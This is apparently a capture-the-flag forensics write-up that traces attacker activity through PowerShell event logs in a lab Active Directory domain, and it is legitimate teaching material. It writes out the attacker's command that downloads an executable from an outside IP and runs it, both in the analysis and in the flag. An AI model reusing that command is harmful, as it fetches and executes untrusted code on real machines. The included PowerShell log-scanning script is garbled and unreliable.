Summary
You can read this writeup on my GitBook account [Link] Here is our artifacts, by looking into each directory of these we can see that Each directory has it’s own system data, so we have 3 devices logs (Dc, File5, Desktop6). (also each directory has -C which is the C partition of windows) We’re searching for a command line and an email address. To proceed, I reviewed the log files for each device we have, specifically focusing on the “Windows PowerShell.evtx” files. Therefore, any “Windows PowerShell.evtx” file can guide your investigation, but it’s crucial to focus on the timeline, make sure to sort the events chronologically, from oldest to newest, to properly trace the activity. Finding this base64 encoded command, but it’s just for disruption nothing more. (you can see the decoded command down in CommandLine) And so on until i found the malicious command which was used for the initial access iwr http://34.29.169.45:8883/iexploreplugin.exe -OutFile env:TEMP\iexploreplugin.exe That is the commandLine we’ve got. Based on the timeline, we can see that the first execution of this command was in the “Windows PowerShell.evtx” file for the “desktop6-C.6e0994f03e86db7c” direcotry or for the domain “desktop6.starktech.local”. Also to make sure, while i was walking around the artifacts, i found the windows defender logs and found that : 2025-03-26T04:37:46.356 DETECTION Trojan:Win32/SuspGolang.AG file:C:\Users\TC49C~1.LEO\AppData\Local\Temp\1\iexploreplugin.exe You can see that Windows Defender by itself found “iexploreplugin.exe” and marked as Trojan. So we are on the right track. Let’s find email address In our Active Directory environment, we are working with three distinct domains/devices: Get Loay Salah’s stories in your inbox Join Medium for free to get updates from this writer. files5.starktech.local desktop6.starktech.local dc1.starktech.local (Domain Controller) Among these, dc1.starktech.local is the domain controller, while files5 and desktop6 are member devices. The timeline of events is critical in identifying the source of the email address. Based on our analysis, the initial execution of the command occurred on desktop6.starktech.local. Therefore, to ensure accuracy, the email address of interest must be extracted specifically from the PowerShell logs of desktop6.starktech.local aligning with that initial activity. The following PowerShell script scans all .evtx log files within a specified directory specifically looking for email addresses within Windows PowerShell event logs using Regex pattern (Regular Expression). It extracts relevant details such as the email address, Event ID, timestamp, and source file, then compiles the results into a CSV file saved to Desktop.
= SETUP =
Folder where your .evtx files are located
$logDir = “D:\Artifacts\Artifacts\desktop6-C.6e0994f03e86db7c\uploads\auto\C%3A\Windows\System32\winevt\Logs”
Output CSV path (on Desktop)
outputFile = Join-Path $desktop “EVTX_Email_Results.csv”
Email regex pattern
$emailRegex = ‘[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+.[a-zA-Z0-9-.]+‘
Write CSV header
“Email,EventID,TimeCreated,SourceFile” | Out-File -FilePath $outputFile -Encoding UTF8
= PROCESSING =
Loop through each .evtx file
Get-ChildItem -Path logDir -Filter *.evtx | ForEach-Object { evtxFile = evtxFile” -ForegroundColor Cyan
Extract events and scan for emails
Get-WinEvent -Path evtxFile -ErrorAction SilentlyContinue | ForEach-Object { try { xml = [xml]rawText = rawText -match emailRegex) { email = eventId = time = source = $_.LogName
Save result to CSV
“eventId,evtxFile” | Out-File -FilePath $outputFile -Append -Encoding UTF8 } } catch {
Ignore malformed events
} } } Write-Host “`n✅ Done! Results saved to: outputFile" -ForegroundColor Green So, open PowerShell and run this command first to allow script execution, then run the script, just like this: Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass ./imp.ps1 Let's Check CSV file that was created from the powershell script “imp.ps1” You can find this sneaky little icloud email address, with Event ID, timestamp, and Source File. SO, WE ARE DONE!! Flag: EGCTF{iwr http://34.29.169.45:8883/iexploreplugin.exe -OutFile env:TEMP\iexploreplugin.exe; Start-Process $env:TEMP\iexploreplugin.exe,bunion_sneaker.4m@icloud.com} Unfortunately, we didn’t make the cut — missed qualifying by just a few points. So close! 😞